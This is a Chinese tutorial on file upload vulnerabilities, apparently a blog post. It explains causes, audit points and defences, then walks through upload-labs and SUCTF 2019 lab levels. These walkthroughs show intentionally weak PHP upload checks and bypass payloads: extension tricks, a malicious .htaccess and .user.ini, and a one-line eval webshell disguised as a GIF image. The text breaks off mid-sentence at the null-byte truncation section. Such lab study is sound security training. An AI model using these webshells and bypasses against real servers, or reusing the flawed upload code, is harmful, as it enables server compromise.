文件上传漏洞
漏洞介绍
文件上传漏洞是指攻击者上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务端命令的能力。该漏洞在业务应用系统中出现概率较高,究其原因是业务场景中上传附件、头像等功能非常常见,若在系统设计中忽略了相关的安全检查,则容易导致文件上传漏洞。
业务应用系统中的文件上传功能是导致上传漏洞的重要安全隐患之一。通过文件上传功能,用户可以直接将本地文件上传到服务端,若通过构造URL地址可以直接访问到已上传的文件,则会触发漏洞。例如,若上传的文件是一个非正常服务端文件,如JSP文件、ASP文件、ASPX文件、JSPX文件、PHP文件等可直接执行服务后端代码的文件,则该文件实际可视为“木马文件”。
程序开发中不严格或不安全的逻辑问题会导致文件上传漏洞,程序开发所使用的编程语言以及版本、所用的操作系统,以及不同的应用场景也可能导致文件上传漏洞,所以文件上传漏洞的表现形式与其成因息息相关。
借助文件上传漏洞,攻击者可以获取业务信息系统的WebShell,进一步通过WebShell对该业务系统以及服务器自身的操作系统进行操作,如增加、删除、修改、查看文件等敏感操作。因此相较于其它文件类型的漏洞,文件上传漏洞的危害更大。
产生原因
一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过 URL 去 访问以执行代码。
造成文件上传漏洞的原因是:
•服务器配置不当•开源编辑器上传漏洞•本地文件上传限制被绕过•过滤不严格被绕过•文件解析漏洞导致文件执行•文件路径截断
漏洞危害
•上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行。•上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接 自劢运行;•上传文件是Flash的策略文件 crossdomain.xml,黑客用以控制Flash在该域 下的行为(其他通过类似方式控制策略文件的情况类似);•上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行;•上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢 出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过"本地文件包含漏洞(Local File Include)"执行此脚本。
审计要点
在代码审计中进行上传漏洞检查时,首先需要判断上传功能的代码是否对上传的文件进行了校验,如果没有任何校验即存在任意文件上传漏洞,但危险程度仍需进一步判断。(需要检查此处上传的文件是在本地还是在远端,是否存在脚本执行权限或环境支持等,现在很多程序会将附件上传到远端的OSS对象中存储。)
如果代码具有文件校验功能,接下来则需要验证文件校验代码是否完善,可以分别从前端和后端两个方面分析校验的完整性。
•前端校验:主要是分析JavaScript对上传文件的后缀名进行校验的完整性•后端校验:主要是分析黑名单扩展名拦截、白名单扩展名拦截、HTTP Header的Content-Typ验证、文件头验证、二次渲染验证和文件名随机化等几个校验方法的完整性。
总结审计要点:寻找上传点,检查后缀名是否可自定义,若设置防御,是否可绕过;文件内容是否有校验,校验是否可绕过;是否检查了文件类型;文件上传路径是否可控;文件目录是否要求禁止脚本解析等。
image-20220114170830584
防御建议
前端防御主要采用前端校验,利用JavaScript对文件大小、扩展名等进行检验。后端校验是防御的核心,主要是禁止对上传的文件目录进行解析,上传的文件随机且检查后缀名,设置文件后缀白名单(在使用PHP的in_array
函数进行后缀名检测时,要注意设置此函数的第三个参数为true
,不然可通过此函数缺陷绕过检测),对文件内容、大小和类型进行检测等。
实验靶场备注: 接下来使用的靶场是c0ny1大大做的upload_labs,我在当时下的是老版本的,只有20关。新版本有21关,插入了一个新的Pass-5,使用的解法是上传.user.ini,这个解法我在这里使用的是SUCTF的Web题。 靶场项目地址:https://github.com/c0ny1/upload-labs
客户端检验绕过
一般都是在网页上写一段 javascript 脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
前端检测的绕过方法十分简单,这里就不详细展开讲解了。绕过方法有如下几种:
1.通过火狐插件 NOscript 插件或者禁用 IE 中 JS 脚本;2.通过元素审查修改代码(如删除 onsubmit=”return checkFile()” 事件);3.通过元素审查 javascirpt 脚本中添加上传文件类型;4.通过利用 burp 抓包改包,先上传一个 png 类型的木马,然后通过 burp 将其改为asp/php/jsp 后缀名即可 注意:这里修改文件名字后,请求头中的 Content-Length 的值也要改(burp默认会自动修改)。
靶场绕过示例
靶场:Upload-labs(Pass-01)
当我们想要上传Webshell时,发现前端弹出告警窗口
PS:文章中的hackroot.com是本地解析的靶机,不是在线靶场哦!
image-20220114174620484
审计源代码,其中有一段JavaScript代码用于检测文件扩展名。
代码语言:javascript复制<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" allow_ext "类型的文件,当前文件类型为:" ext_name;
alert(errMsg);
return false;
}
}
</script>
绕过技巧:
首先更改webshell的扩展名为.png,并启用Burp代理抓包
image-20220114193528473
将文件扩展名改回.php,放行即可
image-20220114193725219
审查页面元素,上传成功
image-20220114193848432
服务端黑名单检验绕过
扩展名黑名单绕过
黑名单检测:一般有个专门的 blacklist 文件,或者黑名单数组,里面会包含常见的危险脚本文件扩展名。
绕过方法:
•找黑名单扩展名的漏网之鱼:比如 iis6.0 中的 asa 和 cer•可能存在大小写绕过漏洞:比如 aSp(iis6.0 中可以)和 pHp(只能在 小于 php5.3.39 中的 linux 中)之中•能被web容器解析的文件其他扩展名列表:
语言 | 可解析后缀 |
---|---|
ASP/ASPX | asp,aspx,asa,ascx,ashx,asmx,cer,cdx |
PHP | php,php5,php4,php3,phtml,pht |
JSP | jsp,jspx,jspa,jsw,jsv,jspf,jtml |
靶场绕过示例
靶场:Upload-labs(Pass-03)
当我们想要上传Webshell时,提示不允许上传.asp
,.aspx
,.php
,.jsp
后缀文件。
image-20220115000355619
审计源代码,其中一段使用in_array
函数判断所上传文件的扩展名是否存在指定的扩展名黑名单中。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过技巧:
我们可以尝试使用PHP的其它扩展名绕过,如phtml
image-20220116210405949
注:PHPStudy环境默认还是不会解析phtml、php3等扩展名文件的,若想让实验顺利成功,还需要在http.conf
配置文件中手动添加
image-20220116210308493
上传.htaccess文件绕过
.htaccess文件的作用:
.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。
.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess的用途范围主要针对当前目录。
启用.htaccess的配置:
启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。
打开httpd.conf文件用文本编辑器打开后,查找:
代码语言:javascript复制<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
改为:
代码语言:javascript复制<Directory />
Options FollowSymLinks
AllowOverride All
</Directory>
如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:
代码语言:javascript复制AccessFileName .config
.htaccess的使用技巧可以参考下面这篇文章: https://blog.csdn.net/solitudi/article/details/116666720
靶场绕过示例
靶场:Upload-labs(Pass-04)
审计源代码,虽然还是黑名单,但几乎过滤了所有有问题的后缀名,除了.htaccess。
代码语言:javascript复制$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过技巧:
于是我们可以上传一个.htaccess内容如下的文件:
代码语言:javascript复制ForceType application/x-httpd-php
SetHandler application/x-httpd-php
image-20220116234738248
这样所有文件都会被强制解析为php,然后再上传图片马,就可以解析:
image-20220116235242921
image-20220116235050761
上传.user.ini文件绕过
.user.ini
。它比.htaccess
用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
那么什么是.user.ini
?这得从php.ini
说起了。php.ini
是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER。在此可以查看:http://php.net/manual/zh/ini.list.php 这几种模式有什么区别?看看官方的解释:
image-20220119135813325
除了主 php.ini
之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT']
所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini
风格的 INI 文件中只有具有 PHP_INI_PERDIR
和 PHP_INI_USER
模式的 INI 设置可被识别。
所以除了PHP_INI_SYSTEM
以外的模式(包括PHP_INI_ALL
)都是可以通过.user.ini
来设置的。我们可以很容易地借助.user.ini
文件,更改auto_prepend_file
配置项,来构造一个“后门”。
比如,某网站限制不允许上传.php
文件,你便可以上传一个.user.ini
,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini
的文件夹下需要有正常的php文件,否则也不能包含了。再比如,你只是想隐藏个后门,这个方式是最方便的。
靶场绕过示例
靶场:[SUCTF 2019]CheckIn1
项目地址:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn
注:运行靶场的时候发现靶场的
DockerFile
有问题会导致靶场运行失败,需要修改配置如下: 将DockerFile
中的RUN
chown www-data:www-data /app/* -R
修改为:RUN
chown application:application /app/ -R
审计源代码,发现该靶场做了如下过滤:
1.使用正则表达式过滤了包含ph
与htaccess
扩展名的文件2.过滤了文件内容包含<?
的文件3.使用exif_imagetype
规定了必须为图片类型的文件
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {
die("filesize too big!");
}
if (!$name) {
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") 1);
if (preg_match("/ph|htaccess/i", $extension)) {
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
die("<? in contents!");
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}
绕过技巧:
1.针对过滤包含ph
与htaccess
扩展名的文件:上传.user.ini
与图片马,利用.user.ini
进行文件包含2.针对过滤文件内容包含<?
的文件:使用php的脚本标记风格<script language='php'>
3.针对使用exif_imagetype
规定了必须为图片类型的文件:添加文件头内容或合成图片马(稍后会讲)
首先上传.user.ini
文件,文件内容为:
GIF89a
auto_prepend_file=shell.png
然后构造一个shell.png
,内容如下:
GIF89a
<script language='php'> @eval($_POST['hack']); </script>
然后将两个文件分别上传到服务器上,拿到回显:
image-20220119205426221
在这里可以看到 uploads/ff74881e4a10c9db901a18039a9a1e10
对应的文件夹下面有两个文件,一个是.user.ini
,一个是shell.png
,当然,还有一个index.php
。那就可以构造URL了并用蚁剑连接一下:
image-20220119215010920
拿到flag
image-20220119215247480
利用大小写绕过
Windows对大小写不敏感,Linux对大小写敏感。所以Windows系统可以解析.Php
、.PHp
、.PHP
、.pHp
、.pHP
、.phP
扩展名的文件。若网站后端过滤并未统一大小写(将文件扩展名转为小写表示),则会造成绕过。
靶场绕过示例
靶场:Upload-labs(Pass-05)
审计源代码,还是黑名单,加上了.htaccess,但是没有将后缀进行大小写统一。
代码语言:javascript复制$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
?>
我们可以通过大小写绕过:
image-20220117000653063
上传文件,并且可以成功执行webshell代码。
image-20220117000838259
利用空格绕过
Windows系统文件后缀加空格命名之后是默认自动删除空格。若网站后端过滤时没有过滤空格,便可进行绕过。
靶场绕过示例
靶场:Upload-labs(Pass-06)
审计源代码,还是黑名单,但是没有对后缀名进行去空格处理。
代码语言:javascript复制$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过技巧:
可在后缀名中加空格绕过:
image-20220117002419350
上传文件,并且可以成功执行webshell代码。
image-20220117003814127
image-20220117003913555
利用点绕过
同空格绕过原理一样,主要原因是Windows等系统默认删除文件后缀的“.”和空格。若网站后端过滤时没有过滤末尾的点,便可进行绕过。
靶场绕过示例
靶场:Upload-labs(Pass-07)
审计源代码,还是黑名单,但是没有对后缀名进行去”.”处理。
代码语言:javascript复制is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过技巧:
利用Windows特性,会自动去掉后缀名中最后的“.”,可在后缀名中加“.”绕过:
image-20220117005012832
利用NTFS流::$DATA绕过
在Windows中如果文件名 ::DATA会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持::
例如:phpinfo.php::DATAWindows会自动去掉末尾的::DATA变成phpinfo.php
注:这是NTFS文件系统具有的特性,FAT32文件系统无法利用
靶场绕过示例
靶场:Upload-labs(Pass-08)
审计源代码,还是黑名单,但是没有对后缀名进行去::$DATA
处理。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过技巧:
利用Windows特性,可在后缀名中加 ::$DATA
绕过:
image-20220118132629018
利用点与空过滤绕过
若后端代码只对上传文件进行简单过滤处理就直接将文件名拼接到上传路径中,那么我们可以反过来利用这些过滤处理,得到我们想要上传的文件。
靶场绕过示例
靶场:Upload-labs(Pass-09)
审计源代码,黑名单过滤,注意路径名($img_path
)和之前不太一样,路径拼接的是处理后的文件名。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过技巧:
构造shell.php. .
(点 空格 点),经过处理后,文件名变成shell.php.
,即可绕过:
image-20220118135403024
利用扩展名双写绕过
PHP后端使用str_ireplace
这个函数将php
,php5
,php4
等后缀变成空格,且只执行了一次,所以可以尝试构造文件后缀为pphphp
绕过。
靶场绕过示例
靶场:Upload-labs(Pass-10)
审计源代码,依旧是黑名单过滤,注意到,这里是将问题后缀名替换为空。
代码语言:javascript复制$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
绕过技巧:
构造文件扩展名为.pphphp
,双写绕过:
image-20220118141152780
服务端白名单检验绕过
利用00截断绕过
0x00, ,/00之类的截断,都是一样的,只是不同表示而已。
在url中 表示ascll码中的0 ,而ascii中0作为特殊字符保留,所以当url中出现 时就会认为读取已结束。
00截断的使用限制:
•php版本小于5.3.4•php.ini的magic_quotes_gpc
为OFF状态
绕过GET方式传入save_path
靶场绕过示例
靶场:Upload-labs(Pass-11)
审计源代码,发现使用了白名单,只允许jpg
,png
,gif
文件的上传,所以前面使用的方法都不适用,然后我们发现路径img_path
函数是让文件位置(save_path
)加时间随机数(rand
)的方法生成文件位置和文件名。
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".") 1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
绕过技巧:
这里我们可以尝试在save_path
的地方使用